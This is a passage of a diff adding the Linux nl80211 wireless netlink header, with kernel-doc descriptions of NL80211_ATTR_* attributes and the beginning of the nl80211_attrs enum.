+ * commands to specify using a reassociate frame
+ *
+ * @NL80211_ATTR_KEY: key information in a nested attribute with
+ * %NL80211_KEY_* sub-attributes
+ * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect()
+ * and join_ibss(), key information is in a nested attribute each
+ * with %NL80211_KEY_* sub-attributes
+ *
+ * @NL80211_ATTR_PID: Process ID of a network namespace.
+ *
+ * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for
+ * dumps. This number increases whenever the object list being
+ * dumped changes, and as such userspace can verify that it has
+ * obtained a complete and consistent snapshot by verifying that
+ * all dump messages contain the same generation number. If it
+ * changed then the list changed and the dump should be repeated
+ * completely from scratch.
+ *
+ * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface
+ *
+ * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of
+ * the survey response for %NL80211_CMD_GET_SURVEY, nested attribute
+ * containing info as possible, see &enum survey_info.
+ *
+ * @NL80211_ATTR_PMKID: PMK material for PMKSA caching.
+ * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can
+ * cache, a wiphy attribute.
+ *
+ * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32.
+ * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that
+ * specifies the maximum duration that can be requested with the
+ * remain-on-channel operation, in milliseconds, u32.
+ *
+ * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects.
+ *
+ * @NL80211_ATTR_TX_RATES: Nested set of attributes
+ * (enum nl80211_tx_rate_attributes) describing TX rates per band. The
+ * enum nl80211_band value is used as the index (nla_type() of the nested
+ * data. If a band is not included, it will be configured to allow all
+ * rates based on negotiated supported rates information. This attribute
+ * is used with %NL80211_CMD_SET_TX_BITRATE_MASK.
+ *
+ * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain
+ * at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME.
+ * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the
+ * @NL80211_CMD_REGISTER_FRAME command.
+ * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be transmitted with
+ * %NL80211_CMD_FRAME.
+ * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a
+ * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing
+ * information about which frame types can be registered for RX.
+ *
+ * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was
+ * acknowledged by the recipient.
+ *
+ * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values.
+ *
+ * @NL80211_ATTR_CQM: connection quality monitor configuration in a
+ * nested attribute with %NL80211_ATTR_CQM_* sub-attributes.
+ *
+ * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command
+ * is requesting a local authentication/association state change without
+ * invoking actual management frame exchange. This can be used with
+ * NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE,
+ * NL80211_CMD_DISASSOCIATE.
+ *
+ * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations
+ * connected to this BSS.
+ *
+ * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See
+ * &enum nl80211_tx_power_setting for possible values.
+ * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units.
+ * This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING
+ * for non-automatic settings.
+ *
+ * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly
+ * means support for per-station GTKs.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for transmitting. If an antenna is not selected in this
+ * bitmap the hardware is not allowed to transmit on this antenna.
+ *
+ * Each bit represents one antenna, starting with antenna 1 at the first
+ * bit. Depending on which antennas are selected in the bitmap, 802.11n
+ * drivers can derive which chainmasks to use (if all antennas belonging to
+ * a particular chain are disabled this chain should be disabled) and if
+ * a chain has diversity antennas wether diversity should be used or not.
+ * HT capabilities (STBC, TX Beamforming, Antenna selection) can be
+ * derived from the available chains after applying the antenna mask.
+ * Non-802.11n drivers can derive wether to use diversity or not.
+ * Drivers may reject configurations or RX/TX mask combinations they cannot
+ * support by returning -EINVAL.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving.
+ * This can be used to mask out antennas which are not attached or should
+ * not be used for receiving. If an antenna is not selected in this bitmap
+ * the hardware should not be configured to receive on this antenna.
+ * For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available
+ * for configuration as TX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available
+ * for configuration as RX antennas via the above parameters.
+ *
+ * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS
+ *
+ * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be
+ * transmitted on another channel when the channel given doesn't match
+ * the current channel. If the current channel doesn't match and this
+ * flag isn't set, the frame will be rejected. This is also used as an
+ * nl80211 capability flag.
+ *
+ * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16)
+ *
+ * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ *
+ * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters. These cannot be
+ * changed once the mesh is active.
+ * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute
+ * containing attributes from &enum nl80211_meshconf_params.
+ * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver
+ * allows auth frames in a mesh to be passed to userspace for processing
+ *via the @NL80211_MESH_SETUP_USERSPACE_AUTH flag.
+ * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in
+ * &enum nl80211_plink_state. Used when userspace is driving the peer link
+ * management state machine. @NL80211_MESH_SETUP_USERSPACE_AMPE or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM must be enabled.
+ *
+ * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy
+ * capabilities, the supported WoWLAN triggers
+ * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to
+ * indicate which WoW triggers should be enabled. This is also
+ * used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN
+ * triggers.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan
+ * cycles, in msecs.
+ *
+ * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more
+ * sets of attributes to match during scheduled scans. Only BSSs
+ * that match any of the sets will be reported. These are
+ * pass-thru filter rules.
+ * For a match to succeed, the BSS must match all attributes of a
+ * set. Since not every hardware supports matching all types of
+ * attributes, there is no guarantee that the reported BSSs are
+ * fully complying with the match sets and userspace needs to be
+ * able to ignore them by itself.
+ * Thus, the implementation is somewhat hardware-dependent, but
+ * this is only an optimization and the userspace application
+ * needs to handle all the non-filtered results anyway.
+ * If the match attributes don't make sense when combined with
+ * the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID
+ * is included in the probe request, but the match attributes
+ * will never let it go through), -EINVAL may be returned.
+ * If ommited, no filtering is done.
+ *
+ * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported
+ * interface combinations. In each nested item, it contains attributes
+ * defined in &enum nl80211_if_combination_attrs.
+ * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like
+ * %NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that
+ * are managed in software: interfaces of these types aren't subject to
+ * any restrictions in their number or combinations.
+ *
+ * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information
+ * necessary for GTK rekeying in the device, see &enum nl80211_rekey_data.
+ *
+ * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in
+ *scan, nested array attribute containing an entry for each band, with the entry
+ * being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but
+ * without the length restriction (at most %NL80211_MAX_SUPP_RATES).
+ *
+ * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon
+ * and Probe Response (when response to wildcard Probe Request); see
+ * &enum nl80211_hidden_ssid, represented as a u32
+ *
+ * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame.
+ * This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to
+ * provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the
+ * driver (or firmware) replies to Probe Request frames.
+ * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association
+ * Response frames. This is used with %NL80211_CMD_NEW_BEACON and
+ * %NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into
+ * (Re)Association Response frames when the driver (or firmware) replies to
+ * (Re)Association Request frames.
+ *
+ * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration
+ * of the station, see &enum nl80211_sta_wme_attr.
+ * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working
+ * as AP.
+ *
+ * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of
+ * roaming to another AP in the same ESS if the signal lever is low.
+ *
+ * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching
+ * candidate information, see &enum nl80211_pmksa_candidate_attr.
+ *
+ * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not
+ * for management frames transmission. In order to avoid p2p probe/action
+ * frames are being transmitted at CCK rate in 2GHz band, the user space
+ * applications use this attribute.
+ * This attribute is used with %NL80211_CMD_TRIGGER_SCAN and
+ * %NL80211_CMD_FRAME commands.
+ *
+ * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup
+ * request, link setup confirm, link teardown, etc.). Values are
+ * described in the TDLS (802.11z) specification.
+ * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a
+ * TDLS conversation between two devices.
+ * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see
+ * &enum nl80211_tdls_operation, represented as a u8.
+ * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate
+ * as a TDLS peer sta.
+ * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown
+ * procedures should be performed by sending TDLS packets via
+ * %NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be
+ * used for asking the driver to perform a TDLS operation.
+ *
+ * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices
+ * that have AP support to indicate that they have the AP SME integrated
+ * with support for the features listed in this attribute, see
+ * &enum nl80211_ap_sme_features.
+ *
+ * @NL80211_ATTR_DONT_WAIT_FOR_ACK: Used with %NL80211_CMD_FRAME, this tells
+ * the driver to not wait for an acknowledgement. Note that due to this,
+ * it will also not give a status callback nor return a cookie. This is
+ * mostly useful for probe responses to save airtime.
+ *
+ * @NL80211_ATTR_FEATURE_FLAGS: This u32 attribute contains flags from
+ * &enum nl80211_feature_flags and is advertised in wiphy information.
+ * @NL80211_ATTR_PROBE_RESP_OFFLOAD: Indicates that the HW responds to probe
+ * requests while operating in AP-mode.
+ * This attribute holds a bitmap of the supported protocols for
+ * offloading (see &enum nl80211_probe_resp_offload_support_attr).
+ *
+ * @NL80211_ATTR_PROBE_RESP: Probe Response template data. Contains the entire
+ * probe-response frame. The DA field in the 802.11 header is zero-ed out,
+ * to be filled by the FW.
+ * @NL80211_ATTR_DISABLE_HT: Force HT capable interfaces to disable
+ * this feature. Currently, only supported in mac80211 drivers.
+ * @NL80211_ATTR_HT_CAPABILITY_MASK: Specify which bits of the
+ * ATTR_HT_CAPABILITY to which attention should be paid.
+ * Currently, only mac80211 NICs support this feature.
+ * The values that may be configured are:
+ * MCS rates, MAX-AMSDU, HT-20-40 and HT_CAP_SGI_40
+ * AMPDU density and AMPDU factor.
+ * All values are treated as suggestions and may be ignored
+ * by the driver as required. The actual values may be seen in
+ * the station debugfs ht_caps file.
+ *
+ * @NL80211_ATTR_DFS_REGION: region for regulatory rules which this country
+ * abides to when initiating radiation on DFS channels. A country maps
+ * to one DFS region.
+ *
+ * @NL80211_ATTR_NOACK_MAP: This u16 bitmap contains the No Ack Policy of
+ * up to 16 TIDs.
+ *
+ * @NL80211_ATTR_INACTIVITY_TIMEOUT: timeout value in seconds, this can be
+ * used by the drivers which has MLME in firmware and does not have support
+ * to report per station tx/rx activity to free up the staion entry from
+ * the list. This needs to be used when the driver advertises the
+ * capability to timeout the stations.
+ *
+ * @NL80211_ATTR_RX_SIGNAL_DBM: signal strength in dBm (as a 32-bit int);
+ * this attribute is (depending on the driver capabilities) added to
+ * received frames indicated with %NL80211_CMD_FRAME.
+ *
+ * @NL80211_ATTR_BG_SCAN_PERIOD: Background scan period in seconds
+ * or 0 to disable background scan.
+ *
+ * @NL80211_ATTR_USER_REG_HINT_TYPE: type of regulatory hint passed from
+ * userspace. If unset it is assumed the hint comes directly from
+ * a user. If set code could specify exactly what type of source
+ * was used to provide the hint. For the different types of
+ * allowed user regulatory hints see nl80211_user_reg_hint_type.
+ *
+ * @NL80211_ATTR_CONN_FAILED_REASON: The reason for which AP has rejected
+ * the connection request from a station. nl80211_connect_failed_reason
+ * enum has different reasons of connection failure.
+ *
+ * @NL80211_ATTR_SAE_DATA: SAE elements in Authentication frames. This starts
+ * with the Authentication transaction sequence number field.
+ *
+ * @NL80211_ATTR_VHT_CAPABILITY: VHT Capability information element (from
+ * association request when used with NL80211_CMD_NEW_STATION)
+ *
+ * @NL80211_ATTR_SCAN_FLAGS: scan request control flags (u32)
+ *
+ * @NL80211_ATTR_P2P_CTWINDOW: P2P GO Client Traffic Window (u8), used with
+ * the START_AP and SET_BSS commands
+ * @NL80211_ATTR_P2P_OPPPS: P2P GO opportunistic PS (u8), used with the
+ * START_AP and SET_BSS commands. This can have the values 0 or 1;
+ * if not given in START_AP 0 is assumed, if not given in SET_BSS
+ * no change is made.
+ *
+ * @NL80211_ATTR_LOCAL_MESH_POWER_MODE: local mesh STA link-specific power mode
+ * defined in &enum nl80211_mesh_power_mode.
+ *
+ * @NL80211_ATTR_ACL_POLICY: ACL policy, see &enum nl80211_acl_policy,
+ * carried in a u32 attribute
+ *
+ * @NL80211_ATTR_MAC_ADDRS: Array of nested MAC addresses, used for
+ * MAC ACL.
+ *
+ * @NL80211_ATTR_MAC_ACL_MAX: u32 attribute to advertise the maximum
+ * number of MAC addresses that a device can support for MAC
+ * ACL.
+ *
+ * @NL80211_ATTR_RADAR_EVENT: Type of radar event for notification to userspace,
+ * contains a value of enum nl80211_radar_event (u32).
+ *
+ * @NL80211_ATTR_EXT_CAPA: 802.11 extended capabilities that the kernel driver
+ * has and handles. The format is the same as the IE contents. See
+ * 802.11-2012 8.4.2.29 for more information.
+ * @NL80211_ATTR_EXT_CAPA_MASK: Extended capabilities that the kernel driver
+ * has set in the %NL80211_ATTR_EXT_CAPA value, for multibit fields.
+ *
+ * @NL80211_ATTR_STA_CAPABILITY: Station capabilities (u16) are advertised to
+ * the driver, e.g., to enable TDLS power save (PU-APSD).
+ *
+ * @NL80211_ATTR_STA_EXT_CAPABILITY: Station extended capabilities are
+ * advertised to the driver, e.g., to enable TDLS off channel operations
+ * and PU-APSD.
+ *
+ * @NL80211_ATTR_PROTOCOL_FEATURES: global nl80211 feature flags, see
+ * &enum nl80211_protocol_features, the attribute is a u32.
+ *
+ * @NL80211_ATTR_SPLIT_WIPHY_DUMP: flag attribute, userspace supports
+ * receiving the data for a single wiphy split across multiple
+ * messages, given with wiphy dump message
+ *
+ * @NL80211_ATTR_MDID: Mobility Domain Identifier
+ *
+ * @NL80211_ATTR_IE_RIC: Resource Information Container Information
+ * Element
+ *
+ * @NL80211_ATTR_CRIT_PROT_ID: critical protocol identifier requiring increased
+ * reliability, see &enum nl80211_crit_proto_id (u16).
+ * @NL80211_ATTR_MAX_CRIT_PROT_DURATION: duration in milliseconds in which
+ * the connection should have increased reliability (u16).
+ *
+ * @NL80211_ATTR_PEER_AID: Association ID for the peer TDLS station (u16).
+ * This is similar to @NL80211_ATTR_STA_AID but with a difference of being
+ * allowed to be used with the first @NL80211_CMD_SET_STATION command to
+ * update a TDLS peer STA entry.
+ *
+ * @NL80211_ATTR_COALESCE_RULE: Coalesce rule information.
+ *
+ * @NL80211_ATTR_CH_SWITCH_COUNT: u32 attribute specifying the number of TBTT's
+ * until the channel switch event.
+ * @NL80211_ATTR_CH_SWITCH_BLOCK_TX: flag attribute specifying that transmission
+ * must be blocked on the current channel (before the channel switch
+ * operation).
+ * @NL80211_ATTR_CSA_IES: Nested set of attributes containing the IE information
+ * for the time while performing a channel switch.
+ * @NL80211_ATTR_CSA_C_OFF_BEACON: An array of offsets (u16) to the channel
+ * switch counters in the beacons tail (%NL80211_ATTR_BEACON_TAIL).
+ * @NL80211_ATTR_CSA_C_OFF_PRESP: An array of offsets (u16) to the channel
+ * switch counters in the probe response (%NL80211_ATTR_PROBE_RESP).
+ *
+ * @NL80211_ATTR_RXMGMT_FLAGS: flags for nl80211_send_mgmt(), u32.
+ * As specified in the &enum nl80211_rxmgmt_flags.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_CHANNELS: array of supported channels.
+ *
+ * @NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES: array of supported
+ * supported operating classes.
+ *
+ * @NL80211_ATTR_HANDLE_DFS: A flag indicating whether user space
+ * controls DFS operation in IBSS mode. If the flag is included in
+ * %NL80211_CMD_JOIN_IBSS request, the driver will allow use of DFS
+ * channels and reports radar events to userspace. Userspace is required
+ * to react to radar events, e.g. initiate a channel switch or leave the
+ * IBSS network.
+ *
+ * @NL80211_ATTR_SUPPORT_5_MHZ: A flag indicating that the device supports
+ * 5 MHz channel bandwidth.
+ * @NL80211_ATTR_SUPPORT_10_MHZ: A flag indicating that the device supports
+ * 10 MHz channel bandwidth.
+ *
+ * @NL80211_ATTR_OPMODE_NOTIF: Operating mode field from Operating Mode
+ * Notification Element based on association request when used with
+ * %NL80211_CMD_NEW_STATION; u8 attribute.
+ *
+ * @NL80211_ATTR_VENDOR_ID: The vendor ID, either a 24-bit OUI or, if
+ * %NL80211_VENDOR_ID_IS_LINUX is set, a special Linux ID (not used yet)
+ * @NL80211_ATTR_VENDOR_SUBCMD: vendor sub-command
+ * @NL80211_ATTR_VENDOR_DATA: data for the vendor command, if any; this
+ * attribute is also used for vendor command feature advertisement
+ * @NL80211_ATTR_VENDOR_EVENTS: used for event list advertising in the wiphy
+ * info, containing a nested array of possible events
+ *
+ * @NL80211_ATTR_QOS_MAP: IP DSCP mapping for Interworking QoS mapping. This
+ * data is in the format defined for the payload of the QoS Map Set element
+ * in IEEE Std 802.11-2012, 8.4.2.97.
+ *
+ * @NL80211_ATTR_MAC_HINT: MAC address recommendation as initial BSS
+ * @NL80211_ATTR_WIPHY_FREQ_HINT: frequency of the recommended initial BSS
+ *
+ * @NL80211_ATTR_MAX_AP_ASSOC_STA: Device attribute that indicates how many
+ * associated stations are supported in AP mode (including P2P GO); u32.
+ * Since drivers may not have a fixed limit on the maximum number (e.g.,
+ * other concurrent operations may affect this), drivers are allowed to
+ * advertise values that cannot always be met. In such cases, an attempt
+ * to add a new station entry with @NL80211_CMD_NEW_STATION may fail.
+ *
+ * @NL80211_ATTR_CSA_C_OFFSETS_TX: An array of csa counter offsets (u16) which
+ * should be updated when the frame is transmitted.
+ * @NL80211_ATTR_MAX_CSA_COUNTERS: U8 attribute used to advertise the maximum
+ * supported number of csa counters.
+ *
+ * @NL80211_ATTR_TDLS_PEER_CAPABILITY: flags for TDLS peer capabilities, u32.
+ * As specified in the &enum nl80211_tdls_peer_capability.
+ *
+ * @NL80211_ATTR_IFACE_SOCKET_OWNER: flag attribute, if set during interface
+ * creation then the new interface will be owned by the netlink socket
+ * that created it and will be destroyed when the socket is closed.
+ * If set during scheduled scan start then the new scan req will be
+ * owned by the netlink socket that created it and the scheduled scan will
+ * be stopped when the socket is closed.
+ *
+ * @NL80211_ATTR_TDLS_INITIATOR: flag attribute indicating the current end is
+ * the TDLS link initiator.
+ *
+ * @NL80211_ATTR_USE_RRM: flag for indicating whether the current connection
+ * shall support Radio Resource Measurements (11k). This attribute can be
+ * used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
+ * User space applications are expected to use this flag only if the
+ * underlying device supports these minimal RRM features:
+ * %NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
+ * %NL80211_FEATURE_QUIET,
+ * If this flag is used, driver must add the Power Capabilities IE to the
+ * association request. In addition, it must also set the RRM capability
+ * flag in the association request's Capability Info field.
+ *
+ * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
+ * estimation algorithm (dynack). In order to activate dynack
+ * %NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
+ * drivers to indicate dynack capability. Dynack is automatically disabled
+ * setting valid value for coverage class.
+ *
+ * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
+ * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
+ * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
+ * (per second) (u16 attribute)
+ *
+ * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
+ * &enum nl80211_smps_mode.
+ *
+ * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
+ * in a PBSS. Specified in %NL80211_CMD_CONNECT to request
+ * connecting to a PCP, and in %NL80211_CMD_START_AP to start
+ * a PCP instead of AP. Relevant for DMG networks only.
+ *
+ * @NL80211_ATTR_MAX: highest attribute number currently defined
+ * @__NL80211_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_attrs {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_ATTR_UNSPEC,
+
+ NL80211_ATTR_WIPHY,
+ NL80211_ATTR_WIPHY_NAME,
+
+ NL80211_ATTR_IFINDEX,
+ NL80211_ATTR_IFNAME,
+ NL80211_ATTR_IFTYPE,
+
+ NL80211_ATTR_MAC,
+
+ NL80211_ATTR_KEY_DATA,
+ NL80211_ATTR_KEY_IDX,
+ NL80211_ATTR_KEY_CIPHER,
+ NL80211_ATTR_KEY_SEQ,
+ NL80211_ATTR_KEY_DEFAULT,
+
+ NL80211_ATTR_BEACON_INTERVAL,
+ NL80211_ATTR_DTIM_PERIOD,
+ NL80211_ATTR_BEACON_HEAD,
+ NL80211_ATTR_BEACON_TAIL,
+
+ NL80211_ATTR_STA_AID,
+ NL80211_ATTR_STA_FLAGS,
+ NL80211_ATTR_STA_LISTEN_INTERVAL,
+ NL80211_ATTR_STA_SUPPORTED_RATES,
+ NL80211_ATTR_STA_VLAN,
+ NL80211_ATTR_STA_INFO,
+
+ NL80211_ATTR_WIPHY_BANDS,
+
+ NL80211_ATTR_MNTR_FLAGS,
+
+ NL80211_ATTR_MESH_ID,
+ NL80211_ATTR_STA_PLINK_ACTION,
+ NL80211_ATTR_MPATH_NEXT_HOP,
+ NL80211_ATTR_MPATH_INFO,
+
+ NL80211_ATTR_BSS_CTS_PROT,
+ NL80211_ATTR_BSS_SHORT_PREAMBLE,
+ NL80211_ATTR_BSS_SHORT_SLOT_TIME,
+
+ NL80211_ATTR_HT_CAPABILITY,
+
+ NL80211_ATTR_SUPPORTED_IFTYPES,
+
+ NL80211_ATTR_REG_ALPHA2,
+ NL80211_ATTR_REG_RULES,
+
+ NL80211_ATTR_MESH_CONFIG,
+
+ NL80211_ATTR_BSS_BASIC_RATES,
+
+ NL80211_ATTR_WIPHY_TXQ_PARAMS,
+ NL80211_ATTR_WIPHY_FREQ,
+ NL80211_ATTR_WIPHY_CHANNEL_TYPE,
+
+ NL80211_ATTR_KEY_DEFAULT_MGMT,
+
+ NL80211_ATTR_MGMT_SUBTYPE,
+ NL80211_ATTR_IE,
+
+ NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
+
+ NL80211_ATTR_SCAN_FREQUENCIES,
+ NL80211_ATTR_SCAN_SSIDS,
+ NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
+ NL80211_ATTR_BSS,
+
+ NL80211_ATTR_REG_INITIATOR,
+ NL80211_ATTR_REG_TYPE,
+
+ NL80211_ATTR_SUPPORTED_COMMANDS,
+
+ NL80211_ATTR_FRAME,
+ NL80211_ATTR_SSID,
+ NL80211_ATTR_AUTH_TYPE,
+ NL80211_ATTR_REASON_CODE,
+
+ NL80211_ATTR_KEY_TYPE,
+
+ NL80211_ATTR_MAX_SCAN_IE_LEN,
+ NL80211_ATTR_CIPHER_SUITES,
+
+ NL80211_ATTR_FREQ_BEFORE,
+ NL80211_ATTR_FREQ_AFTER,
+
+ NL80211_ATTR_FREQ_FIXED,
+
+ NL80211_ATTR_WIPHY_RETRY_SHORT,
+ NL80211_ATTR_WIPHY_RETRY_LONG,
+ NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ NL80211_ATTR_WIPHY_RTS_THRESHOLD,
+
+ NL80211_ATTR_TIMED_OUT,
+
+ NL80211_ATTR_USE_MFP,
+
+ NL80211_ATTR_STA_FLAGS2,
+
+ NL80211_ATTR_CONTROL_PORT,
+
+ NL80211_ATTR_TESTDATA,
+
+ NL80211_ATTR_PRIVACY,
+
+ NL80211_ATTR_DISCONNECTED_BY_AP,
+ NL80211_ATTR_STATUS_CODE,
+
+ NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
+ NL80211_ATTR_CIPHER_SUITE_GROUP,
+ NL80211_ATTR_WPA_VERSIONS,
+ NL80211_ATTR_AKM_SUITES,
+
+ NL80211_ATTR_REQ_IE,
+ NL80211_ATTR_RESP_IE,
+
+ NL80211_ATTR_PREV_BSSID,
+
+ NL80211_ATTR_KEY,
+ NL80211_ATTR_KEYS,
+
+ NL80211_ATTR_PID,
+
+ NL80211_ATTR_4ADDR,
+
+ NL80211_ATTR_SURVEY_INFO,
+
+ NL80211_ATTR_PMKID,
+ NL80211_ATTR_MAX_NUM_PMKIDS,
+
+ NL80211_ATTR_DURATION,
+
+ NL80211_ATTR_COOKIE,
+
+ NL80211_ATTR_WIPHY_COVERAGE_CLASS,
+
+ NL80211_ATTR_TX_RATES,
+
+ NL80211_ATTR_FRAME_MATCH,
+
+ NL80211_ATTR_ACK,
+
+ NL80211_ATTR_PS_STATE,
+
+ NL80211_ATTR_CQM,
+
+ NL80211_ATTR_LOCAL_STATE_CHANGE,
+
+ NL80211_ATTR_AP_ISOLATE,
+
+ NL80211_ATTR_WIPHY_TX_POWER_SETTING,
+ NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
+
+ NL80211_ATTR_TX_FRAME_TYPES,
+ NL80211_ATTR_RX_FRAME_TYPES,
+ NL80211_ATTR_FRAME_TYPE,
+
+ NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
+
+ NL80211_ATTR_SUPPORT_IBSS_RSN,
+
+ NL80211_ATTR_WIPHY_ANTENNA_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_RX,
+
+ NL80211_ATTR_MCAST_RATE,
+
+ NL80211_ATTR_OFFCHANNEL_TX_OK,
+
+ NL80211_ATTR_BSS_HT_OPMODE,
+
+ NL80211_ATTR_KEY_DEFAULT_TYPES,
+
+ NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
+
+ NL80211_ATTR_MESH_SETUP,
+
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
+
+ NL80211_ATTR_SUPPORT_MESH_AUTH,
+ NL80211_ATTR_STA_PLINK_STATE,
+
+ NL80211_ATTR_WOWLAN_TRIGGERS,
+ NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
+
+ NL80211_ATTR_SCHED_SCAN_INTERVAL,
+
+ NL80211_ATTR_INTERFACE_COMBINATIONS,
+ NL80211_ATTR_SOFTWARE_IFTYPES,
+
+ NL80211_ATTR_REKEY_DATA,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
+ NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
+
+ NL80211_ATTR_SCAN_SUPP_RATES,
+
+ NL80211_ATTR_HIDDEN_SSID,
+
+ NL80211_ATTR_IE_PROBE_RESP,
+ NL80211_ATTR_IE_ASSOC_RESP,
+
+ NL80211_ATTR_STA_WME,
+ NL80211_ATTR_SUPPORT_AP_UAPSD,
+
+ NL80211_ATTR_ROAM_SUPPORT,
+
+ NL80211_ATTR_SCHED_SCAN_MATCH,
+ NL80211_ATTR_MAX_MATCH_SETS,
+
+ NL80211_ATTR_PMKSA_CANDIDATE,
+
+ NL80211_ATTR_TX_NO_CCK_RATE,
+
+ NL80211_ATTR_TDLS_ACTION,
+ NL80211_ATTR_TDLS_DIALOG_TOKEN,
+ NL80211_ATTR_TDLS_OPERATION,
+ NL80211_ATTR_TDLS_SUPPORT,
+ NL80211_ATTR_TDLS_EXTERNAL_SETUP,
+
+ NL80211_ATTR_DEVICE_AP_SME,
+
